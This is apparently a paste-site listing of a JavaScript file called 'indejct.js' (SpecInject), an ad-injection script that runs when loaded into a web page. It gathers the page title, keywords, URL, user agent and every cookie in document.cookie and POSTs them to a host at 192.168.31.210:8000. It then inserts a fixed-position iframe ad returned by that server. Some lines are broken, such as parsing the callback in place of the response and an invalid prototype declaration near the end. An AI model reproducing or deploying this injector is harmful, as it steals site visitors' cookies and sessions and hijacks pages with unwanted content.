indejct.js 5.4 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129
  1. window.SpecInject = {};
  2. (function(){
  3. //Change File Name
  4. var protocol = ('https:'==window.location.protocol)?'https://':'http://';
  5. var requestURL = protocol+'192.168.31.210:8000/post';
  6. var __FILENAME__ = 'specinject.js'
  7. var __FILE__, scripts = document.getElementsByTagName("script");
  8. for(var i=0;i<scripts.length;i++){
  9. var src =scripts.item(i).getAttribute("src");
  10. if(src&&src.match(__FILENAME__)){
  11. __FILE__=src;break;
  12. }
  13. }
  14. if(!__FILE__) return;
  15. var attribute = __FILE__.split('?')[1];
  16. if(!attribute) return;
  17. attribute = attribute.split('&');
  18. var tmpObj = {};
  19. for(var i in attribute){attribute[i]=attribute[i].split('=');tmpObj[attribute[i][0]]=attribute[i][1]};
  20. //Params
  21. var ADID = tmpObj['aid'],
  22. ADTYPE = tmpObj['type'];
  23. if(!ADID || !ADTYPE) return;
  24. var browser={
  25. versions:function(){
  26. var u = navigator.userAgent, app = navigator.appVersion;
  27. return {
  28. mobile: !!u.match(/AppleWebKit.*Mobile.*/), //是否为移动终端
  29. ios: !!u.match(/\(i[^;]+;( U;)? CPU.+Mac OS X/), //ios终端
  30. android: u.indexOf('Android') > -1 || u.indexOf('Linux') > -1, //android终端或者uc浏览器
  31. iPhone: u.indexOf('iPhone') > -1 , //是否为iPhone或者QQHD浏览器
  32. iPad: u.indexOf('iPad') > -1, //是否iPad
  33. webApp: u.indexOf('Safari') == -1, //是否web应该程序,没有头部与底部
  34. weixin: u.indexOf('MicroMessenger') > -1, //是否微信 (2015-01-22新增)
  35. version:u.match(/Version\/(\d+\.+\d+)/)[1]
  36. };
  37. }(),
  38. language:(navigator.browserLanguage || navigator.language).toLowerCase()
  39. }
  40. var keywords = document.querySelector('meta[name=Keywords]')?document.querySelector('meta[name=Keywords]'):document.querySelector('meta[name=keywords]');
  41. var xmlhttp;
  42. xmlhttp = new XMLHttpRequest();
  43. var getJSADParam = {
  44. mediatitle:document.querySelector('title').innerHTML,
  45. mediakeyword:keywords?keywords.getAttribute('content'):'',
  46. mediaurl:window.location.href,
  47. mediakey:ADID,
  48. tertype:browser.versions.ios?1:browser.versions.android?0:2,
  49. useragent:navigator.userAgent,
  50. browserversion:browser.versions.version,
  51. browserlanguage:browser.language,
  52. cookies:JSON.stringify(getCookies())
  53. }
  54. function parseData(obj){
  55. var formData = new FormData();
  56. for(var attr in obj){
  57. formData.append(attr,obj[attr]);
  58. }
  59. return formData;
  60. }
  61. function getADHandler(data){
  62. if(data.status!=1) return;
  63. data = data.data;
  64. if(!data.adurl) return;
  65. var style = document.createElement('style');
  66. style.innerText = '#__ADInject__{position:fixed;z-index:9999;box-sizing:border-box}#__ADInject__.bottom{bottom:5px}#__ADInject__ iframe{position:relative;left:0;right:0;bottom:0;top:0;overflow:hidden;border:none;padding:0;margin:0;z-index:10}#__ADInject__ .__ADInjectClose__{position:absolute;right:0;top:0;display:block;color:#fff;font-size:12px;width:20px;height:20px;line-height:20px;text-align:center;background:rgba(0,0,0,.2);z-index:999}';
  67. var script = document.createElement('script');
  68. script.innerText = 'function __ADInjectFeedback__(){SpecInject.feedback()};function __ADInjectClose__(){document.getElementById("__ADInject__").remove()}';
  69. var doms = document.createElement('div');
  70. doms.id = '__ADInject__';
  71. doms.innerHTML = '<span class="__ADInjectClose__" onclick="javascript:__ADInjectClose__()">X</span><iframe id="__ADInjectFrame__" src="'+data.adurl+'" />';
  72. document.body.appendChild(style);
  73. document.body.appendChild(script);
  74. document.body.appendChild(doms);
  75. }
  76. //Ajax Post
  77. function post(URL,data,callback){
  78. xmlhttp.open("POST",URL);
  79. xmlhttp.onreadystatechange = function() {
  80. if (xmlhttp.readyState == 4 && xmlhttp.status == 200) {
  81. var reponse = null;
  82. if(xmlhttp.responseText){
  83. try{
  84. response = JSON.parse(callback);
  85. }catch(e){log(e)}
  86. }
  87. callback(response);
  88. }
  89. }
  90. xmlhttp.send(data);
  91. }
  92. //COOKIES get & set
  93. function getCookie(c_name){
  94. if (document.cookie.length>0){
  95. c_start=document.cookie.indexOf(c_name + "=");
  96. if (c_start!=-1){
  97. c_start=c_start + c_name.length+1;
  98. c_end=document.cookie.indexOf(";",c_start);
  99. if (c_end==-1) c_end=document.cookie.length;
  100. return unescape(document.cookie.substring(c_start,c_end));
  101. }
  102. }
  103. return null;
  104. }
  105. function getCookies(){
  106. var obj = {};
  107. if (document.cookie.length>0){
  108. var cookie = document.cookie.split('; ');
  109. for(var i in cookie){
  110. var par = cookie[i].split('=');
  111. obj[par[0]] = par[1];
  112. }
  113. }
  114. return obj;
  115. }
  116. function setCookie(c_name,c_value,c_exp){
  117. var exp = c_exp?';expires='+c_exp:'';
  118. document.cookie = c_name+'='+c_value+exp+';path=/';
  119. }
  120. post(requestURL,parseData(getJSADParam),getADHandler);
  121. window.SpecInject.prototype.feedback(action)(){
  122. }
  123. })();